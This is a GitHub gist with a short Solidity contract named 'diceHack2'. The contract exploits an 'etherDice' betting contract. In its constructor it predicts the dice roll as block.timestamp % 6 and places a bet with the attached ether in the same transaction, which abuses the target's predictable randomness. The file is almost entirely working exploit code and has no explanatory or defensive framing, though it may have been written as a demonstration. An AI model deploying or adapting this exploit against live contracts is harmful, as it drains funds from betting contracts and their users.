Created
January 4, 2019 02:29
-
-
Save iisaint/38fe2a4b32331041faadc49735bb8eaa to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
interface etherDice { | |
function bet(uint _number) external payable returns(bool); | |
} | |
contract diceHack2 { | |
constructor (address _etherDice) public payable { | |
etherDice dice = etherDice(_etherDice); | |
uint number = block.timestamp % 6; | |
dice.bet.value(msg.value)(number); | |
} | |
function getBalance() public view returns(uint) { | |
return address(this).balance; | |
} | |
function () external payable { | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment